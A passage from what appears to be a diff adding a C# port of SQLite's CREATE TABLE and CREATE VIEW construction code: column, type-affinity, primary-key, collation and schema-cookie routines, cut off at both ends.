fileFormat; + int reg1, reg2, reg3; + sqlite3BeginWriteOperation( pParse, 0, iDb ); + + if ( isVirtual != 0 ) + { + sqlite3VdbeAddOp0( v, OP_VBegin ); + } + + /* If the file format and encoding in the database have not been set, + ** set them now. + */ + reg1 = pParse.regRowid = ++pParse.nMem; + reg2 = pParse.regRoot = ++pParse.nMem; + reg3 = ++pParse.nMem; + sqlite3VdbeAddOp3( v, OP_ReadCookie, iDb, reg3, BTREE_FILE_FORMAT ); + sqlite3VdbeUsesBtree( v, iDb ); + j1 = sqlite3VdbeAddOp1( v, OP_If, reg3 ); + fileFormat = ( db.flags & SQLITE_LegacyFileFmt ) != 0 ? + 1 : SQLITE_MAX_FILE_FORMAT; + sqlite3VdbeAddOp2( v, OP_Integer, fileFormat, reg3 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_FILE_FORMAT, reg3 ); + sqlite3VdbeAddOp2( v, OP_Integer, ENC( db ), reg3 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_TEXT_ENCODING, reg3 ); + sqlite3VdbeJumpHere( v, j1 ); + + /* This just creates a place-holder record in the sqlite_master table. + ** The record created does not contain anything yet. It will be replaced + ** by the real entry in code generated at sqlite3EndTable(). + ** + ** The rowid for the new entry is left in register pParse->regRowid. + ** The root page number of the new table is left in reg pParse->regRoot. + ** The rowid and root page number values are needed by the code that + ** sqlite3EndTable will generate. + */ + if ( isView != 0 || isVirtual != 0 ) + { + sqlite3VdbeAddOp2( v, OP_Integer, 0, reg2 ); + } + else + { + sqlite3VdbeAddOp2( v, OP_CreateTable, iDb, reg2 ); + } + sqlite3OpenMasterTable( pParse, iDb ); + sqlite3VdbeAddOp2( v, OP_NewRowid, 0, reg1 ); + sqlite3VdbeAddOp2( v, OP_Null, 0, reg3 ); + sqlite3VdbeAddOp3( v, OP_Insert, 0, reg3, reg1 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3VdbeAddOp0( v, OP_Close ); + } + + /* Normal (non-error) return. */ + return; + + /* If an error occurs, we jump here */ +begin_table_error: + sqlite3DbFree( db, ref zName ); + return; + } + + /* + ** This macro is used to compare two strings in a case-insensitive manner. + ** It is slightly faster than calling sqlite3StrICmp() directly, but + ** produces larger code. + ** + ** WARNING: This macro is not compatible with the strcmp() family. It + ** returns true if the two strings are equal, otherwise false. + */ + //#define STRICMP(x, y) (\ + //sqlite3UpperToLower[*(unsigned char )(x)]== \ + //sqlite3UpperToLower[*(unsigned char )(y)] \ + //&& sqlite3StrICmp((x)+1,(y)+1)==0 ) + + /* + ** Add a new column to the table currently being constructed. + ** + ** The parser calls this routine once for each column declaration + ** in a CREATE TABLE statement. sqlite3StartTable() gets called + ** first to get things going. Then this routine is called for each + ** column. + */ + static void sqlite3AddColumn( Parse pParse, Token pName ) + { + Table p; + int i; + string z; + Column pCol; + sqlite3 db = pParse.db; + if ( ( p = pParse.pNewTable ) == null ) + return; +#if SQLITE_MAX_COLUMN || !SQLITE_MAX_COLUMN + if ( p.nCol + 1 > db.aLimit[SQLITE_LIMIT_COLUMN] ) + { + sqlite3ErrorMsg( pParse, "too many columns on %s", p.zName ); + return; + } +#endif + z = sqlite3NameFromToken( db, pName ); + if ( z == null ) + return; + for ( i = 0; i < p.nCol; i++ ) + { + if ( z.Equals( p.aCol[i].zName, StringComparison.InvariantCultureIgnoreCase ) ) + {//STRICMP(z, p.aCol[i].zName) ){ + sqlite3ErrorMsg( pParse, "duplicate column name: %s", z ); + sqlite3DbFree( db, ref z ); + return; + } + } + if ( ( p.nCol & 0x7 ) == 0 ) + { + //aNew = sqlite3DbRealloc(db,p.aCol,(p.nCol+8)*sizeof(p.aCol[0])); + //if( aNew==0 ){ + // sqlite3DbFree(db,ref z); + // return; + //} + Array.Resize( ref p.aCol, p.nCol + 8 ); + } + p.aCol[p.nCol] = new Column(); + pCol = p.aCol[p.nCol]; + //memset(pCol, 0, sizeof(p.aCol[0])); + pCol.zName = z; + + /* If there is no type specified, columns have the default affinity + ** 'NONE'. If there is a type specified, then sqlite3AddColumnType() will + ** be called next to set pCol.affinity correctly. + */ + pCol.affinity = SQLITE_AFF_NONE; + p.nCol++; + } + + /* + ** This routine is called by the parser while in the middle of + ** parsing a CREATE TABLE statement. A "NOT NULL" constraint has + ** been seen on a column. This routine sets the notNull flag on + ** the column currently under construction. + */ + static void sqlite3AddNotNull( Parse pParse, int onError ) + { + Table p; + p = pParse.pNewTable; + if ( p == null || NEVER( p.nCol < 1 ) ) + return; + p.aCol[p.nCol - 1].notNull = (u8)onError; + } + + /* + ** Scan the column type name zType (length nType) and return the + ** associated affinity type. + ** + ** This routine does a case-independent search of zType for the + ** substrings in the following table. If one of the substrings is + ** found, the corresponding affinity is returned. If zType contains + ** more than one of the substrings, entries toward the top of + ** the table take priority. For example, if zType is 'BLOBINT', + ** SQLITE_AFF_INTEGER is returned. + ** + ** Substring | Affinity + ** -------------------------------- + ** 'INT' | SQLITE_AFF_INTEGER + ** 'CHAR' | SQLITE_AFF_TEXT + ** 'CLOB' | SQLITE_AFF_TEXT + ** 'TEXT' | SQLITE_AFF_TEXT + ** 'BLOB' | SQLITE_AFF_NONE + ** 'REAL' | SQLITE_AFF_REAL + ** 'FLOA' | SQLITE_AFF_REAL + ** 'DOUB' | SQLITE_AFF_REAL + ** + ** If none of the substrings in the above table are found, + ** SQLITE_AFF_NUMERIC is returned. + */ + static char sqlite3AffinityType( string zIn ) + { + //u32 h = 0; + //char aff = SQLITE_AFF_NUMERIC; + zIn = zIn.ToLower(); + if ( zIn.Contains( "char" ) || zIn.Contains( "clob" ) || zIn.Contains( "text" ) ) + return SQLITE_AFF_TEXT; + if ( zIn.Contains( "blob" ) ) + return SQLITE_AFF_NONE; + if ( zIn.Contains( "doub" ) || zIn.Contains( "floa" ) || zIn.Contains( "real" ) ) + return SQLITE_AFF_REAL; + if ( zIn.Contains( "int" ) ) + return SQLITE_AFF_INTEGER; + return SQLITE_AFF_NUMERIC; + // string zEnd = pType.z.Substring(pType.n); + + // while( zIn!=zEnd ){ + // h = (h<<8) + sqlite3UpperToLower[*zIn]; + // zIn++; + // if( h==(('c'<<24)+('h'<<16)+('a'<<8)+'r') ){ /* CHAR */ + // aff = SQLITE_AFF_TEXT; + // }else if( h==(('c'<<24)+('l'<<16)+('o'<<8)+'b') ){ /* CLOB */ + // aff = SQLITE_AFF_TEXT; + // }else if( h==(('t'<<24)+('e'<<16)+('x'<<8)+'t') ){ /* TEXT */ + // aff = SQLITE_AFF_TEXT; + // }else if( h==(('b'<<24)+('l'<<16)+('o'<<8)+'b') /* BLOB */ + // && (aff==SQLITE_AFF_NUMERIC || aff==SQLITE_AFF_REAL) ){ + // aff = SQLITE_AFF_NONE; + //#if !SQLITE_OMIT_FLOATING_POINT + // }else if( h==(('r'<<24)+('e'<<16)+('a'<<8)+'l') /* REAL */ + // && aff==SQLITE_AFF_NUMERIC ){ + // aff = SQLITE_AFF_REAL; + // }else if( h==(('f'<<24)+('l'<<16)+('o'<<8)+'a') /* FLOA */ + // && aff==SQLITE_AFF_NUMERIC ){ + // aff = SQLITE_AFF_REAL; + // }else if( h==(('d'<<24)+('o'<<16)+('u'<<8)+'b') /* DOUB */ + // && aff==SQLITE_AFF_NUMERIC ){ + // aff = SQLITE_AFF_REAL; + //#endif + // }else if( (h&0x00FFFFFF)==(('i'<<16)+('n'<<8)+'t') ){ /* INT */ + // aff = SQLITE_AFF_INTEGER; + // break; + // } + // } + + // return aff; + } + + /* + ** This routine is called by the parser while in the middle of + ** parsing a CREATE TABLE statement. The pFirst token is the first + ** token in the sequence of tokens that describe the type of the + ** column currently under construction. pLast is the last token + ** in the sequence. Use this information to construct a string + ** that contains the typename of the column and store that string + ** in zType. + */ + static void sqlite3AddColumnType( Parse pParse, Token pType ) + { + Table p; + Column pCol; + + p = pParse.pNewTable; + if ( p == null || NEVER( p.nCol < 1 ) ) + return; + pCol = p.aCol[p.nCol - 1]; + Debug.Assert( pCol.zType == null ); + pCol.zType = sqlite3NameFromToken( pParse.db, pType ); + pCol.affinity = sqlite3AffinityType( pCol.zType ); + } + + + /* + ** The expression is the default value for the most recently added column + ** of the table currently under construction. + ** + ** Default value expressions must be constant. Raise an exception if this + ** is not the case. + ** + ** This routine is called by the parser while in the middle of + ** parsing a CREATE TABLE statement. + */ + static void sqlite3AddDefaultValue( Parse pParse, ExprSpan pSpan ) + { + Table p; + Column pCol; + sqlite3 db = pParse.db; + p = pParse.pNewTable; + if ( p != null ) + { + pCol = ( p.aCol[p.nCol - 1] ); + if ( sqlite3ExprIsConstantOrFunction( pSpan.pExpr ) == 0 ) + { + sqlite3ErrorMsg( pParse, "default value of column [%s] is not constant", + pCol.zName ); + } + else + { + /* A copy of pExpr is used instead of the original, as pExpr contains + ** tokens that point to volatile memory. The 'span' of the expression + ** is required by pragma table_info. + */ + sqlite3ExprDelete( db, ref pCol.pDflt ); + pCol.pDflt = sqlite3ExprDup( db, pSpan.pExpr, EXPRDUP_REDUCE ); + sqlite3DbFree( db, ref pCol.zDflt ); + pCol.zDflt = pSpan.zStart.Substring( 0, pSpan.zStart.Length - pSpan.zEnd.Length ); + //sqlite3DbStrNDup( db, pSpan.zStart, + // (int)( pSpan.zEnd.Length - pSpan.zStart.Length ) ); + } + } + sqlite3ExprDelete( db, ref pSpan.pExpr ); + } + + /* + ** Designate the PRIMARY KEY for the table. pList is a list of names + ** of columns that form the primary key. If pList is NULL, then the + ** most recently added column of the table is the primary key. + ** + ** A table can have at most one primary key. If the table already has + ** a primary key (and this is the second primary key) then create an + ** error. + ** + ** If the PRIMARY KEY is on a single column whose datatype is INTEGER, + ** then we will try to use that column as the rowid. Set the Table.iPKey + ** field of the table under construction to be the index of the + ** INTEGER PRIMARY KEY column. Table.iPKey is set to -1 if there is + ** no INTEGER PRIMARY KEY. + ** + ** If the key is not an INTEGER PRIMARY KEY, then create a unique + ** index for the key. No index is created for INTEGER PRIMARY KEYs. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3AddPrimaryKey( Parse pParse, int null_2, int onError, int autoInc, int sortOrder ) + { + sqlite3AddPrimaryKey( pParse, null, onError, autoInc, sortOrder ); + } + static void sqlite3AddPrimaryKey( + Parse pParse, /* Parsing context */ + ExprList pList, /* List of field names to be indexed */ + int onError, /* What to do with a uniqueness conflict */ + int autoInc, /* True if the AUTOINCREMENT keyword is present */ + int sortOrder /* SQLITE_SO_ASC or SQLITE_SO_DESC */ + ) + { + Table pTab = pParse.pNewTable; + string zType = null; + int iCol = -1, i; + if ( pTab == null || IN_DECLARE_VTAB( pParse ) ) + goto primary_key_exit; + if ( ( pTab.tabFlags & TF_HasPrimaryKey ) != 0 ) + { + sqlite3ErrorMsg( pParse, + "table \"%s\" has more than one primary key", pTab.zName ); + goto primary_key_exit; + } + pTab.tabFlags |= TF_HasPrimaryKey; + if ( pList == null ) + { + iCol = pTab.nCol - 1; + pTab.aCol[iCol].isPrimKey = 1; + } + else + { + for ( i = 0; i < pList.nExpr; i++ ) + { + for ( iCol = 0; iCol < pTab.nCol; iCol++ ) + { + if ( pList.a[i].zName.Equals( pTab.aCol[iCol].zName, StringComparison.InvariantCultureIgnoreCase ) ) + { + break; + } + } + if ( iCol < pTab.nCol ) + { + pTab.aCol[iCol].isPrimKey = 1; + } + } + if ( pList.nExpr > 1 ) + iCol = -1; + } + if ( iCol >= 0 && iCol < pTab.nCol ) + { + zType = pTab.aCol[iCol].zType; + } + if ( zType != null && zType.Equals( "INTEGER", StringComparison.InvariantCultureIgnoreCase ) + && sortOrder == SQLITE_SO_ASC ) + { + pTab.iPKey = iCol; + pTab.keyConf = (byte)onError; + Debug.Assert( autoInc == 0 || autoInc == 1 ); + pTab.tabFlags |= (u8)( autoInc * TF_Autoincrement ); + } + else if ( autoInc != 0 ) + { +#if !SQLITE_OMIT_AUTOINCREMENT + sqlite3ErrorMsg( pParse, "AUTOINCREMENT is only allowed on an " + + "INTEGER PRIMARY KEY" ); +#endif + } + else + { + Index p; + p = sqlite3CreateIndex( pParse, 0, 0, 0, pList, onError, 0, 0, sortOrder, 0 ); + if ( p != null ) + { + p.autoIndex = 2; + } + pList = null; + } + +primary_key_exit: + sqlite3ExprListDelete( pParse.db, ref pList ); + return; + } + + /* + ** Add a new CHECK constraint to the table currently under construction. + */ + static void sqlite3AddCheckConstraint( + Parse pParse, /* Parsing context */ + Expr pCheckExpr /* The check expression */ + ) + { + sqlite3 db = pParse.db; +#if !SQLITE_OMIT_CHECK + Table pTab = pParse.pNewTable; + if ( pTab != null && !IN_DECLARE_VTAB( pParse ) ) + { + pTab.pCheck = sqlite3ExprAnd( db, pTab.pCheck, pCheckExpr ); + } + else +#endif + { + sqlite3ExprDelete( db, ref pCheckExpr ); + } + } + /* + ** Set the collation function of the most recently parsed table column + ** to the CollSeq given. + */ + static void sqlite3AddCollateType( Parse pParse, Token pToken ) + { + Table p; + int i; + string zColl; /* Dequoted name of collation sequence */ + sqlite3 db; + + if ( ( p = pParse.pNewTable ) == null ) + return; + i = p.nCol - 1; + db = pParse.db; + zColl = sqlite3NameFromToken( db, pToken ); + if ( zColl == null ) + return; + + if ( sqlite3LocateCollSeq( pParse, zColl ) != null ) + { + Index pIdx; + p.aCol[i].zColl = zColl; + + /* If the column is declared as " PRIMARY KEY COLLATE ", + ** then an index may have been created on this column before the + ** collation type was added. Correct this if it is the case. + */ + for ( pIdx = p.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + Debug.Assert( pIdx.nColumn == 1 ); + if ( pIdx.aiColumn[0] == i ) + { + pIdx.azColl[0] = p.aCol[i].zColl; + } + } + } + else + { + sqlite3DbFree( db, ref zColl ); + } + } + + /* + ** This function returns the collation sequence for database native text + ** encoding identified by the string zName, length nName. + ** + ** If the requested collation sequence is not available, or not available + ** in the database native encoding, the collation factory is invoked to + ** request it. If the collation factory does not supply such a sequence, + ** and the sequence is available in another text encoding, then that is + ** returned instead. + ** + ** If no versions of the requested collations sequence are available, or + ** another error occurs, NULL is returned and an error message written into + ** pParse. + ** + ** This routine is a wrapper around sqlite3FindCollSeq(). This routine + ** invokes the collation factory if the named collation cannot be found + ** and generates an error message. + ** + ** See also: sqlite3FindCollSeq(), sqlite3GetCollSeq() + */ + static CollSeq sqlite3LocateCollSeq( Parse pParse, string zName ) + { + sqlite3 db = pParse.db; + u8 enc = db.aDb[0].pSchema.enc;// ENC(db); + u8 initbusy = db.init.busy; + CollSeq pColl; + + pColl = sqlite3FindCollSeq( db, enc, zName, initbusy ); + if ( 0 == initbusy && ( pColl == null || pColl.xCmp == null ) ) + { + pColl = sqlite3GetCollSeq( db, enc, pColl, zName ); + if ( pColl == null ) + { + sqlite3ErrorMsg( pParse, "no such collation sequence: %s", zName ); + } + } + + return pColl; + } + + + /* + ** Generate code that will increment the schema cookie. + ** + ** The schema cookie is used to determine when the schema for the + ** database changes. After each schema change, the cookie value + ** changes. When a process first reads the schema it records the + ** cookie. Thereafter, whenever it goes to access the database, + ** it checks the cookie to make sure the schema has not changed + ** since it was last read. + ** + ** This plan is not completely bullet-proof. It is possible for + ** the schema to change multiple times and for the cookie to be + ** set back to prior value. But schema changes are infrequent + ** and the probability of hitting the same cookie value is only + ** 1 chance in 2^32. So we're safe enough. + */ + static void sqlite3ChangeCookie( Parse pParse, int iDb ) + { + int r1 = sqlite3GetTempReg( pParse ); + sqlite3 db = pParse.db; + Vdbe v = pParse.pVdbe; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + sqlite3VdbeAddOp2( v, OP_Integer, db.aDb[iDb].pSchema.schema_cookie + 1, r1 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_SCHEMA_VERSION, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + + /* + ** Measure the number of characters needed to output the given + ** identifier. The number returned includes any quotes used + ** but does not include the null terminator. + ** + ** The estimate is conservative. It might be larger that what is + ** really needed. + */ + static int identLength( string z ) + { + int n; + for ( n = 0; n < z.Length; n++ ) + { + if ( z[n] == (byte)'"' ) + { + n++; + } + } + return n + 2; + } + + + /* + ** The first parameter is a pointer to an output buffer. The second + ** parameter is a pointer to an integer that contains the offset at + ** which to write into the output buffer. This function copies the + ** nul-terminated string pointed to by the third parameter, zSignedIdent, + ** to the specified offset in the buffer and updates *pIdx to refer + ** to the first byte after the last byte written before returning. + ** + ** If the string zSignedIdent consists entirely of alpha-numeric + ** characters, does not begin with a digit and is not an SQL keyword, + ** then it is copied to the output buffer exactly as it is. Otherwise, + ** it is quoted using double-quotes. + */ + static void identPut( StringBuilder z, ref int pIdx, string zSignedIdent ) + { + string zIdent = zSignedIdent; + int i; + int j; + bool needQuote; + i = pIdx; + for ( j = 0; j < zIdent.Length; j++ ) + { + if ( !sqlite3Isalnum( zIdent[j] ) && zIdent[j] != '_' ) + break; + } + needQuote = sqlite3Isdigit( zIdent[0] ) || sqlite3KeywordCode( zIdent, j ) != TK_ID; + if ( !needQuote ) + { + needQuote = ( j < zIdent.Length && zIdent[j] != 0 ); + } + if ( needQuote ) + { + if ( i == z.Length ) + z.Append( '\0' ); + z[i++] = '"'; + } + for ( j = 0; j < zIdent.Length; j++ ) + { + if ( i == z.Length ) + z.Append( '\0' ); + z[i++] = zIdent[j]; + if ( zIdent[j] == '"' ) + { + if ( i == z.Length ) + z.Append( '\0' ); + z[i++] = '"'; + } + } + if ( needQuote ) + { + if ( i == z.Length ) + z.Append( '\0' ); + z[i++] = '"'; + } + //z[i] = 0; + pIdx = i; + } + + /* + ** Generate a CREATE TABLE statement appropriate for the given + ** table. Memory to hold the text of the statement is obtained + ** from sqliteMalloc() and must be freed by the calling function. + */ + static string createTableStmt( sqlite3 db, Table p ) + { + int i, k, n; + StringBuilder zStmt; + string zSep; + string zSep2; + string zEnd; + Column pCol; + n = 0; + for ( i = 0; i < p.nCol; i++ ) + {//, pCol++){ + pCol = p.aCol[i]; + n += identLength( pCol.zName ) + 5; + } + n += identLength( p.zName ); + if ( n < 50 ) + { + zSep = ""; + zSep2 = ","; + zEnd = ")"; + } + else + { + zSep = "\n "; + zSep2 = ",\n "; + zEnd = "\n)"; + } + n += 35 + 6 * p.nCol; + zStmt = new StringBuilder( n ); + //zStmt = sqlite3DbMallocRaw(0, n); + //if( zStmt==0 ){ + // db.mallocFailed = 1; + // return 0; + //} + //sqlite3_snprintf(n, zStmt,"CREATE TABLE "); + zStmt.Append( "CREATE TABLE " ); + k = sqlite3Strlen30( zStmt ); + identPut( zStmt, ref k, p.zName ); + zStmt.Append( '(' );//zStmt[k++] = '('; + for ( i = 0; i < p.nCol; i++ ) + {//, pCol++){ + pCol = p.aCol[i]; + string[] azType = new string[] { +/* SQLITE_AFF_TEXT */ " TEXT", +/* SQLITE_AFF_NONE */ "", +/* SQLITE_AFF_NUMERIC */ " NUM", +/* SQLITE_AFF_INTEGER */ " INT", +/* SQLITE_AFF_REAL */ " REAL" +}; + int len; + string zType; + + zStmt.Append( zSep );// sqlite3_snprintf(n-k, zStmt[k], zSep); + k = sqlite3Strlen30( zStmt );// k += strlen(zStmt[k]); + zSep = zSep2; + identPut( zStmt, ref k, pCol.zName ); + Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT >= 0 ); + Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT < ArraySize( azType ) ); + testcase( pCol.affinity == SQLITE_AFF_TEXT ); + testcase( pCol.affinity == SQLITE_AFF_NONE ); + testcase( pCol.affinity == SQLITE_AFF_NUMERIC ); + testcase( pCol.affinity == SQLITE_AFF_INTEGER ); + testcase( pCol.affinity == SQLITE_AFF_REAL ); + + zType = azType[pCol.affinity - SQLITE_AFF_TEXT]; + len = sqlite3Strlen30( zType ); + Debug.Assert( pCol.affinity == SQLITE_AFF_NONE + || pCol.affinity == sqlite3AffinityType( zType ) ); + zStmt.Append( zType );// memcpy( &zStmt[k], zType, len ); + k += len; + Debug.Assert( k <= n ); + } + zStmt.Append( zEnd );//sqlite3_snprintf(n-k, zStmt[k], "%s", zEnd); + return zStmt.ToString(); + } + + /* + ** This routine is called to report the final ")" that terminates + ** a CREATE TABLE statement. + ** + ** The table structure that other action routines have been building + ** is added to the internal hash tables, assuming no errors have + ** occurred. + ** + ** An entry for the table is made in the master table on disk, unless + ** this is a temporary table or db.init.busy==1. When db.init.busy==1 + ** it means we are reading the sqlite_master table because we just + ** connected to the database or because the sqlite_master table has + ** recently changed, so the entry for this table already exists in + ** the sqlite_master table. We do not want to create it again. + ** + ** If the pSelect argument is not NULL, it means that this routine + ** was called to create a table generated from a + ** "CREATE TABLE ... AS SELECT ..." statement. The column names of + ** the new table will match the result set of the SELECT. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3EndTable( Parse pParse, Token pCons, Token pEnd, int null_4 ) + { + sqlite3EndTable( pParse, pCons, pEnd, null ); + } + static void sqlite3EndTable( Parse pParse, int null_2, int null_3, Select pSelect ) + { + sqlite3EndTable( pParse, null, null, pSelect ); + } + + static void sqlite3EndTable( + Parse pParse, /* Parse context */ + Token pCons, /* The ',' token after the last column defn. */ + Token pEnd, /* The final ')' token in the CREATE TABLE */ + Select pSelect /* Select from a "CREATE ... AS SELECT" */ + ) + { + Table p; + sqlite3 db = pParse.db; + int iDb; + + if ( ( pEnd == null && pSelect == null ) /*|| db.mallocFailed != 0 */ ) + { + return; + } + p = pParse.pNewTable; + if ( p == null ) + return; + + Debug.Assert( 0 == db.init.busy || pSelect == null ); + + iDb = sqlite3SchemaToIndex( db, p.pSchema ); + +#if !SQLITE_OMIT_CHECK + /* Resolve names in all CHECK constraint expressions. +*/ + if ( p.pCheck != null ) + { + SrcList sSrc; /* Fake SrcList for pParse.pNewTable */ + NameContext sNC; /* Name context for pParse.pNewTable */ + + sNC = new NameContext();// memset(sNC, 0, sizeof(sNC)); + sSrc = new SrcList();// memset(sSrc, 0, sizeof(sSrc)); + sSrc.nSrc = 1; + sSrc.a = new SrcList_item[1]; + sSrc.a[0] = new SrcList_item(); + sSrc.a[0].zName = p.zName; + sSrc.a[0].pTab = p; + sSrc.a[0].iCursor = -1; + sNC.pParse = pParse; + sNC.pSrcList = sSrc; + sNC.isCheck = 1; + if ( sqlite3ResolveExprNames( sNC, ref p.pCheck ) != 0 ) + { + return; + } + } +#endif // * !SQLITE_OMIT_CHECK) */ + + /* If the db.init.busy is 1 it means we are reading the SQL off the +** "sqlite_master" or "sqlite_temp_master" table on the disk. +** So do not write to the disk again. Extract the root page number +** for the table from the db.init.newTnum field. (The page number +** should have been put there by the sqliteOpenCb routine.) +*/ + if ( db.init.busy != 0 ) + { + p.tnum = db.init.newTnum; + } + + /* If not initializing, then create a record for the new table + ** in the SQLITE_MASTER table of the database. + ** + ** If this is a TEMPORARY table, write the entry into the auxiliary + ** file instead of into the main database file. + */ + if ( 0 == db.init.busy ) + { + int n; + Vdbe v; + String zType = ""; /* "view" or "table" */ + String zType2 = ""; /* "VIEW" or "TABLE" */ + String zStmt = ""; /* Text of the CREATE TABLE or CREATE VIEW statement */ + + v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) + return; + + sqlite3VdbeAddOp1( v, OP_Close, 0 ); + + /* + ** Initialize zType for the new view or table. + */ + if ( p.pSelect == null ) + { + /* A regular table */ + zType = "table"; + zType2 = "TABLE"; +#if !SQLITE_OMIT_VIEW + } + else + { + /* A view */ + zType = "view"; + zType2 = "VIEW"; +#endif + } + + /* If this is a CREATE TABLE xx AS SELECT ..., execute the SELECT + ** statement to populate the new table. The root-page number for the + ** new table is in register pParse->regRoot. + ** + ** Once the SELECT has been coded by sqlite3Select(), it is in a + ** suitable state to query for the column names and types to be used + ** by the new table. + ** + ** A shared-cache write-lock is not required to write to the new table, + ** as a schema-lock must have already been obtained to create it. Since + ** a schema-lock excludes all other database users, the write-lock would + ** be redundant. + */ + if ( pSelect != null ) + { + SelectDest dest = new SelectDest(); + Table pSelTab; + + Debug.Assert( pParse.nTab == 1 ); + sqlite3VdbeAddOp3( v, OP_OpenWrite, 1, pParse.regRoot, iDb ); + sqlite3VdbeChangeP5( v, 1 ); + pParse.nTab = 2; + sqlite3SelectDestInit( dest, SRT_Table, 1 ); + sqlite3Select( pParse, pSelect, ref dest ); + sqlite3VdbeAddOp1( v, OP_Close, 1 ); + if ( pParse.nErr == 0 ) + { + pSelTab = sqlite3ResultSetOfSelect( pParse, pSelect ); + if ( pSelTab == null ) + return; + Debug.Assert( p.aCol == null ); + p.nCol = pSelTab.nCol; + p.aCol = pSelTab.aCol; + pSelTab.nCol = 0; + pSelTab.aCol = null; + sqlite3DeleteTable( db, ref pSelTab ); + } + } + + /* Compute the complete text of the CREATE statement */ + if ( pSelect != null ) + { + zStmt = createTableStmt( db, p ); + } + else + { + n = (int)( pParse.sNameToken.z.Length - pEnd.z.Length ) + 1; + zStmt = sqlite3MPrintf( db, + "CREATE %s %.*s", zType2, n, pParse.sNameToken.z + ); + } + + /* A slot for the record has already been allocated in the + ** SQLITE_MASTER table. We just need to update that slot with all + ** the information we've collected. + */ + sqlite3NestedParse( pParse, + "UPDATE %Q.%s " + + "SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q " + + "WHERE rowid=#%d", + db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), + zType, + p.zName, + p.zName, + pParse.regRoot, + zStmt, + pParse.regRowid + ); + sqlite3DbFree( db, ref zStmt ); + sqlite3ChangeCookie( pParse, iDb ); + +#if !SQLITE_OMIT_AUTOINCREMENT + /* Check to see if we need to create an sqlite_sequence table for +** keeping track of autoincrement keys. +*/ + if ( ( p.tabFlags & TF_Autoincrement ) != 0 ) + { + Db pDb = db.aDb[iDb]; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + if ( pDb.pSchema.pSeqTab == null ) + { + sqlite3NestedParse( pParse, + "CREATE TABLE %Q.sqlite_sequence(name,seq)", + pDb.zName + ); + } + } +#endif + + /* Reparse everything to update our internal data structures */ + sqlite3VdbeAddParseSchemaOp( v, iDb, + sqlite3MPrintf( db, "tbl_name='%q'", p.zName ) ); + } + + + /* Add the table to the in-memory representation of the database. + */ + if ( db.init.busy != 0 ) + { + Table pOld; + Schema pSchema = p.pSchema; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + pOld = sqlite3HashInsert( ref pSchema.tblHash, p.zName, + sqlite3Strlen30( p.zName ), p ); + if ( pOld != null ) + { + Debug.Assert( p == pOld ); /* Malloc must have failed inside HashInsert() */ + // db.mallocFailed = 1; + return; + } + pParse.pNewTable = null; + db.nTable++; + db.flags |= SQLITE_InternChanges; + +#if !SQLITE_OMIT_ALTERTABLE + if ( p.pSelect == null ) + { + string zName = pParse.sNameToken.z; + int nName; + Debug.Assert( pSelect == null && pCons != null && pEnd != null ); + if ( pCons.z == null ) + { + pCons = pEnd; + } + nName = zName.Length - pCons.z.Length; + p.addColOffset = 13 + nName; // sqlite3Utf8CharLen(zName, nName); + } +#endif + } + } + +#if !SQLITE_OMIT_VIEW + /* +** The parser calls this routine in order to create a new VIEW +*/ + static void sqlite3CreateView( + Parse pParse, /* The parsing context */ + Token pBegin, /* The CREATE token that begins the statement */ + Token pName1, /* The token that holds the name of the view */ + Token pName2, /* The token that holds the name of the view */ + Select pSelect, /* A SELECT statement that will become the new view */ + int isTemp, /* TRUE for a TEMPORARY view */ + int noErr /* Suppress error messages if VIEW already exists */ + ) + { + Table p; + int n; + string z;//string z; + Token sEnd; + DbFixer sFix = new DbFixer(); + Token pName = null; + int iDb; + sqlite3 db = pParse.db; + + if ( pParse.nVar > 0 ) + { + sqlite3ErrorMsg( pParse, "parameters are not allowed in views" ); + sqlite3SelectDelete( db, ref pSelect ); + return; + } + sqlite3StartTable( pParse, pName1, pName2, isTemp, 1, 0, noErr ); + p = pParse.pNewTable; + if ( p == null || pParse.nErr != 0 ) + { + sqlite3SelectDelete( db, ref pSelect ); + return; + } + sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); + iDb = sqlite3SchemaToIndex( db, p.pSchema ); + if ( sqlite3FixInit( sFix, pParse, iDb, "view", pName ) != 0 + && sqlite3FixSelect( sFix, pSelect ) != 0 + ) + { + sqlite3SelectDelete( db, ref pSelect ); + return; + } + + /* Make a copy of the entire SELECT statement that defines the view. + ** This will force all the Expr.token.z values to be dynamically + ** allocated rather than point to the input string - which means that + ** they will persist after the current sqlite3_exec() call returns. + */ + p.pSelect = sqlite3SelectDup( db, pSelect, EXPRDUP_REDUCE ); + sqlite3SelectDelete( db, ref pSelect ); + //if ( db.mallocFailed != 0 ) + //{ + // return; + //} + if ( 0 == db.init.busy ) + { + sqlite3ViewGetColumnNames( pParse, p ); + } + + /* Locate the end of the CREATE VIEW statement. Make sEnd point to + ** the end. + */ + sEnd = pParse.sLastToken; + if ( ALWAYS( sEnd.z[0] != 0 ) && sEnd.z[0] != ';' ) + { + sEnd.z = sEnd.z.Substring( sEnd.n ); + } + sEnd.n = 0; + n = (int)( pBegin.z.Length - sEnd.z.Length );//sEnd.z - pBegin.z; + z = pBegin.z; + while ( ALWAYS( n > 0 ) && sqlite3Isspace( z[n - 1] ) ) + { + n--; + } + sEnd.z = z.Substring( n - 1 ); + sEnd.n = 1; + + /* Use sqlite3EndTable() to add the view to the SQLITE_MASTER table */ + sqlite3EndTable( pParse, null, sEnd, null ); + return; + } +#else + static void sqlite3CreateView( + Parse pParse, /* The parsing context */ + Token pBegin, /* The CREATE token that begins the statement */ + Token pName1, /* The token that holds the name of the view */ + Token pName2, /* The token that holds the name of the view */ + Select pSelect, /* A SELECT statement that will become the new view */ + int isTemp, /* TRUE for a TEMPORARY view */ + int noErr 